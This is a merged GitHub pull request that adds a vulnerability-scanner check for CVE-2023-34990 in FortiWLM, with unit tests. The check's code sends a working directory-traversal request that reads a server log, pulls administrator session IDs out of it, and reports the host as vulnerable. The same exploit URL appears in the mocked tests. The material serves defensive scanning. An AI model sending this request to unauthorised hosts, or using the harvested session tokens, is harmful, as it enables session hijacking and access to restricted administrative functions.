Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add detection for CVE-2023-34990 #163

Merged
merged 5 commits into from
Dec 20, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
89 changes: 89 additions & 0 deletions agent/exploits/cve_2023_34990.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
"""Agent Asteroid implementation for CVE-2023-34990"""

import re
import datetime

import requests

from agent import definitions
from agent import exploits_registry
from agent.exploits import webexploit

DEFAULT_TIMEOUT = datetime.timedelta(seconds=90)

VULNERABILITY_TITLE = "FortiWLM Directory Traversal"
VULNERABILITY_REFERENCE = "CVE-2023-34990"
VULNERABILITY_DESCRIPTION = (
"CVE-2023-34990 is a critical flaw in FortiWLM that allows unauthenticated attackers to exploit the /ems/cgi-bin/ezrf_lighttpd.cgi "
"endpoint by injecting directory traversal sequences (../) into the imagename parameter. "
"This grants attackers access to sensitive log files, including administrator session tokens, enabling session hijacking and "
"access to restricted endpoints. The following versions of FortiWLM are impacted by CVE-2023-34990:"
"FortiWLM 8.5: Versions 8.5.0 through 8.5.4"
"FortiWLM 8.6: Versions 8.6.0 through 8.6.5"
)
RISK_RATING = "CRITICAL"

EXPLOIT_URL = "/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log"


def _fetch_log_file(target_url: str) -> str | None:
"""
Sends a crafted request to fetch the log file containing sensitive information.

Args:
target_url: The full URL to the vulnerable endpoint.

Returns:
The content of the log file, if accessible, or an empty string.
"""
try:
response = requests.get(
target_url, timeout=DEFAULT_TIMEOUT.seconds, verify=False
)
if response.status_code == 200:
return response.text
except requests.RequestException:
pass
nmasdoufi-ol marked this conversation as resolved.
Show resolved Hide resolved
nmasdoufi-ol marked this conversation as resolved.
Show resolved Hide resolved
nmasdoufi-ol marked this conversation as resolved.
Show resolved Hide resolved

return None


def _extract_session_id(log_content: str) -> list[str]:
"""
Extracts session IDs from the log file content.

Args:
log_content: The content of the fetched log file.

Returns:
A list of extracted session IDs.
"""
session_ids = re.findall(r"sessionid=([A-F0-9]+)", log_content)
return session_ids


@exploits_registry.register
class CVE202334990Exploit(webexploit.WebExploit):
accept_request = definitions.Request(method="GET", path="/")
accept_pattern = [re.compile("<title>FortiWLM Login</title>")]

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
vulnerabilities: list[definitions.Vulnerability] = []

target_url = f"{target.origin}{EXPLOIT_URL}"
log_content = _fetch_log_file(target_url)

if log_content is not None:
session_ids = _extract_session_id(log_content)
if len(session_ids) > 0:
vulnerability = self._create_vulnerability(target)
vulnerabilities.append(vulnerability)

return vulnerabilities

metadata = definitions.VulnerabilityMetadata(
title=VULNERABILITY_TITLE,
description=VULNERABILITY_DESCRIPTION,
reference=VULNERABILITY_REFERENCE,
risk_rating=RISK_RATING,
)
nmasdoufi-ol marked this conversation as resolved.
Show resolved Hide resolved
121 changes: 121 additions & 0 deletions tests/exploits/cve_2023_34990_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,121 @@
"""Unit tests for Agent Asteroid: CVE-2023-34990"""

import requests
import requests_mock as req_mock
from pytest_mock import plugin

from agent import definitions
from agent.exploits import cve_2023_34990


def testCVE202334990_whenVulnerable_reportFinding(
mocker: plugin.MockerFixture,
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2023-34990 unit test: case when target is vulnerable."""

mock_fetch_log_file = mocker.patch(
"agent.exploits.cve_2023_34990._fetch_log_file",
return_value=(
"""<SCRIPT language="javascript">window.location.href = "/workflow/jsp/logon.jsp;jsessionid=4E1D466A8377449EC3BFABED58A66B14";</SCRIPT>"""
),
)
requests_mock.get(
"http://localhost:80/",
text="""<title>FortiWLM Login</title>""",
status_code=200,
)

exploit_instance = cve_2023_34990.CVE202334990Exploit()

target = definitions.Target("http", "localhost", 80)

accept = exploit_instance.accept(target)
vulnerabilities = exploit_instance.check(target)

assert accept is True
assert len(vulnerabilities) == 1
vulnerability = vulnerabilities[0]
assert vulnerability.entry.title == cve_2023_34990.VULNERABILITY_TITLE
assert vulnerability.entry.risk_rating == "CRITICAL"
assert vulnerability.technical_detail == (
"http://localhost:80 is vulnerable to CVE-2023-34990, FortiWLM Directory Traversal"
)
mock_fetch_log_file.assert_called_once_with(
"http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log"
)


def testCVE202334990_whenSafe_reportNothing(
mocker: plugin.MockerFixture,
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2023-34990 unit test: case when target is not vulnerable."""

mock_fetch_log_file = mocker.patch(
"agent.exploits.cve_2023_34990._fetch_log_file", return_value=None
)
requests_mock.get(
"http://localhost:80/",
text="""<title>FortiWLM Login</title>""",
status_code=200,
)

exploit_instance = cve_2023_34990.CVE202334990Exploit()

target = definitions.Target("http", "localhost", 80)

accept = exploit_instance.accept(target)
vulnerabilities = exploit_instance.check(target)

assert accept is True
assert len(vulnerabilities) == 0
mock_fetch_log_file.assert_called_once_with(
"http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log"
)


def testCVE202334990_whenError_fetchLogFileHandlesErrorGracefully(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2023-34990 unit test: case when _fetch_log_file encounters an error gracefully and returns no vulnerabilities."""

requests_mock.get(
"http://localhost:80/",
text="""<title>FortiWLM Login</title>""",
status_code=200,
)
requests_mock.get(
"http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi",
exc=requests.exceptions.RequestException("Simulated request exception"),
)

exploit_instance = cve_2023_34990.CVE202334990Exploit()
target = definitions.Target("http", "localhost", 80)

accept = exploit_instance.accept(target)
vulnerabilities = exploit_instance.check(target)

assert accept is True
assert len(vulnerabilities) == 0


def testCVE202334990_whenLogFileFetchSucceeds_vulnerabilitiesFound(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2023-34990 unit test: case when _fetch_log_file successfully fetches the log file."""

mock_log_content = "sessionid=ABC1234 sessionid=XYZ5678"
requests_mock.get(
"http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi",
text=mock_log_content,
status_code=200,
)

exploit_instance = cve_2023_34990.CVE202334990Exploit()
target = definitions.Target("http", "localhost", 80)

vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) == 1
assert vulnerabilities[0].entry.title == cve_2023_34990.VULNERABILITY_TITLE
Loading